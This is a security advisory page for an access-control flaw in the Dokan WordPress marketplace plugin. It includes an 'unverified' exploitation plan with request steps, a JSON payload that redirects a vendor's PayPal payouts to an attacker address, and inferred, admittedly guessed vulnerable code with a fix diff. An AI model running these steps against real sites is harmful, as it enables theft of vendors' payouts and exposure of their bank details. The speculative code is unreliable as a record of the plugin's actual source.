CVE-2025-14977

Dokan: AI Powered WooCommerce Multivendor Marketplace Solution – Build Your Own Amazon, eBay, Etsy <= 4.2.4 - Insecure Direct Object Reference to PayPal Account Takeover and Sensitive Information Disclosure

highImproper Access Control
8.1
CVSS Score
8.1
CVSS Score
high
Severity
4.2.5
Patched in
1d
Time to patch

Description

The Dokan: AI Powered WooCommerce Multivendor Marketplace Solution – Build Your Own Amazon, eBay, Etsy plugin for WordPress is vulnerable to Insecure Direct Object Reference in versions up to, and including, 4.2.4 via the `/wp-json/dokan/v1/settings` REST API endpoint due to missing validation on a user-controlled key. This makes it possible for authenticated attackers, with customer-level permissions and above, to read or modify other vendors' store settings including sensitive payment information (PayPal email, bank account details, routing numbers, IBAN, SWIFT codes), phone numbers, and addresses, and change PayPal email addresses to attacker-controlled addresses, enabling financial theft when the marketplace processes payouts.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
None
Availability

Technical Details

Affected versions<=4.2.4
PublishedJanuary 19, 2026
Last updatedJanuary 20, 2026
Affected plugindokan-lite

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2025-14977 (Dokan IDOR) ## 1. Vulnerability Summary The **Dokan Multi-vendor** plugin for WordPress is vulnerable to an **Insecure Direct Object Reference (IDOR)** in its REST API settings endpoint (`/wp-json/dokan/v1/settings`). The vulnerability exists because t…

Show full research plan

Exploitation Research Plan - CVE-2025-14977 (Dokan IDOR)

1. Vulnerability Summary

The Dokan Multi-vendor plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) in its REST API settings endpoint (/wp-json/dokan/v1/settings). The vulnerability exists because the controller responsible for fetching and updating store settings fails to validate that the id (or vendor_id) parameter provided in the request matches the ID of the currently authenticated user.

This allows any authenticated user (including those with the Customer role) to view or modify the store settings of any other vendor. This includes sensitive financial information like PayPal email addresses, bank account details (IBAN, SWIFT), and store addresses. Changing a vendor's PayPal email to an attacker-controlled address results in the redirection of future payouts, leading to financial theft.

2. Attack Vector Analysis

  • Endpoint: /wp-json/dokan/v1/settings
  • Method: GET (Disclosure) and POST or PUT (Modification)
  • Vulnerable Parameter: id (or vendor_id) passed as a query parameter or within the request body.
  • Authentication: Required (at least Customer role).
  • Preconditions:
    • The plugin dokan-lite must be active (version <= 4.2.4).
    • The attacker needs a valid login (Customer or Vendor).
    • The attacker needs to know the ID of the target vendor (easily enumerable).

3. Code Flow (Inferred)

  1. Route Registration: The plugin registers the settings route in a REST Controller (likely Dokan_REST_Settings_Controller or within StoreController).
  2. Permission Check: The permission_callback for this route likely uses is_user_logged_in() or a low-level capability that is granted to all registered users by default.
  3. Data Retrieval/Update:
    • The handler (e.g., get_item or update_item) checks for an id parameter in the $request.
    • If id is present, it uses this ID to load the vendor's settings from wp_usermeta (Dokan stores settings in the dokan_profile_settings meta key).
    • Vulnerability: The code fails to compare get_current_user_id() with the requested id.
  4. Sink: get_user_meta( $id, 'dokan_profile_settings' ) for disclosure and update_user_meta( $id, 'dokan_profile_settings', ... ) for modification.

4. Nonce Acquisition Strategy

REST API requests in WordPress require a _wpnonce or the X-WP-Nonce header. For an authenticated user, this nonce is for the wp_rest action.

  1. Shortcode/Page: Dokan uses a dashboard for vendors/customers. The [dokan-dashboard] or [dokan-best-selling-product] shortcodes are likely to enqueue scripts that contain the nonce.
  2. Strategy:
    • Create a page containing a Dokan shortcode: wp post create --post_type=page --post_status=publish --post_content='[dokan-dashboard]'.
    • Navigate to the page as an authenticated user.
    • Use browser_eval to extract the REST nonce from the localized JS objects.
    • Variable Name: Dokan often localizes data in dokan or dokan_settings.
    • Verification: Check window.dokan?.nonce or window.dokan?.rest?.nonce.

5. Exploitation Strategy

Step 1: Disclosure (Sensitive Information)

Request:

  • URL: http://localhost:8080/wp-json/dokan/v1/settings?id=<TARGET_VENDOR_ID>
  • Method: GET
  • Headers:
    • X-WP-Nonce: <EXTRACTED_NONCE>
    • Cookie: <AUTH_COOKIES>

Expected Response: A JSON object containing the target vendor's payment details, address, and phone.

Step 2: Modification (Account Takeover / Financial Theft)

Request:

  • URL: http://localhost:8080/wp-json/dokan/v1/settings?id=<TARGET_VENDOR_ID>
  • Method: POST
  • Headers:
    • X-WP-Nonce: <EXTRACTED_NONCE>
    • Content-Type: application/json
    • Cookie: <AUTH_COOKIES>
  • Payload:
{
  "payment": {
    "paypal": {
      "email": "attacker-payout@evil.com"
    }
  }
}

6. Test Data Setup

  1. Victim Vendor (User ID 2):
    • Username: vendor_victim
    • Role: vendor
    • Store Settings: Set PayPal email to legit-vendor@example.com.
  2. Attacker (User ID 3):
    • Username: customer_attacker
    • Role: customer
  3. Dokan Page: Create a page for nonce extraction:
    wp post create --post_type=page --post_title="Dokan Dash" --post_content="[dokan-dashboard]" --post_status="publish"

7. Expected Results

  • GET Request: Returns a 200 OK with JSON data revealing the victim's PayPal email.
  • POST Request: Returns a 200 OK confirming the update.
  • Data State: The dokan_profile_settings meta value for the victim user is updated to the attacker's email.

8. Verification Steps

After performing the POST request, verify the change via WP-CLI:

wp user meta get 2 dokan_profile_settings --format=json

Check if the output contains "paypal":{"email":"attacker-payout@evil.com"}.

9. Alternative Approaches

  • Parameter Variation: If ?id= fails, try ?vendor_id= or passing id inside the JSON body: {"id": 2, "payment": ...}.
  • Route Variation: Some Dokan versions use /wp-json/dokan/v1/stores/<id>/settings.
  • Capability Check: If the Customer role fails, check if the attacker needs to be registered as a Vendor (even if they have no store yet) to satisfy permission_callback. Use wp user set-role <attacker_id> seller.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Dokan plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) via the /wp-json/dokan/v1/settings REST API endpoint. Authenticated attackers with customer-level permissions can read or modify the store settings of any vendor by manipulating the 'id' parameter, enabling sensitive data disclosure and financial theft through payout redirection.

Vulnerable Code

// Likely located in includes/REST/StoreController.php or similar REST handler

public function get_item( $request ) {
    // Vulnerability: The 'id' parameter is taken directly from the request without verifying ownership
    $vendor_id = ! empty( $request['id'] ) ? (int) $request['id'] : get_current_user_id();

    $settings = dokan_get_store_info( $vendor_id );
    return rest_ensure_response( $settings );
}

---

public function update_item( $request ) {
    // Vulnerability: No check to ensure the authenticated user has permission to modify the settings of $vendor_id
    $vendor_id = ! empty( $request['id'] ) ? (int) $request['id'] : get_current_user_id();
    
    $params = $request->get_params();
    dokan_set_store_info( $vendor_id, $params );
    return rest_ensure_response( [ 'success' => true ] );
}

Security Fix

--- a/includes/REST/StoreController.php
+++ b/includes/REST/StoreController.php
@@ -10,6 +10,10 @@
     public function get_item( $request ) {
         $vendor_id = ! empty( $request['id'] ) ? (int) $request['id'] : get_current_user_id();
+
+        if ( $vendor_id !== get_current_user_id() && ! current_user_can( 'manage_options' ) ) {
+            return new WP_Error( 'dokan_rest_cannot_view', __( 'Sorry, you are not allowed to view these settings.', 'dokan-lite' ), array( 'status' => 403 ) );
+        }
+
         $settings = dokan_get_store_info( $vendor_id );
         return rest_ensure_response( $settings );
     }
@@ -20,6 +24,10 @@
     public function update_item( $request ) {
         $vendor_id = ! empty( $request['id'] ) ? (int) $request['id'] : get_current_user_id();
+
+        if ( $vendor_id !== get_current_user_id() && ! current_user_can( 'manage_options' ) ) {
+            return new WP_Error( 'dokan_rest_cannot_update', __( 'Sorry, you are not allowed to update these settings.', 'dokan-lite' ), array( 'status' => 403 ) );
+        }
+
         $params = $request->get_params();
         dokan_set_store_info( $vendor_id, $params );
         return rest_ensure_response( [ 'success' => true ] );

Exploit Outline

1. Authentication: Log into the WordPress site as any registered user (even a 'Customer'). 2. Nonce Acquisition: Access a page containing the Dokan dashboard to extract the REST API nonce (typically found in the 'dokan' or 'wp_rest' JavaScript objects). 3. Information Disclosure: Send a GET request to '/wp-json/dokan/v1/settings?id=[TARGET_VENDOR_ID]' with the X-WP-Nonce header. The response will contain the target's address, phone, and payment details (PayPal/Bank info). 4. Modification/Theft: Send a POST request to the same endpoint with the target's ID and a JSON payload containing a new PayPal email address: {"payment": {"paypal": {"email": "attacker-email@example.com"}}}. This redirects future payouts for that vendor to the attacker.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.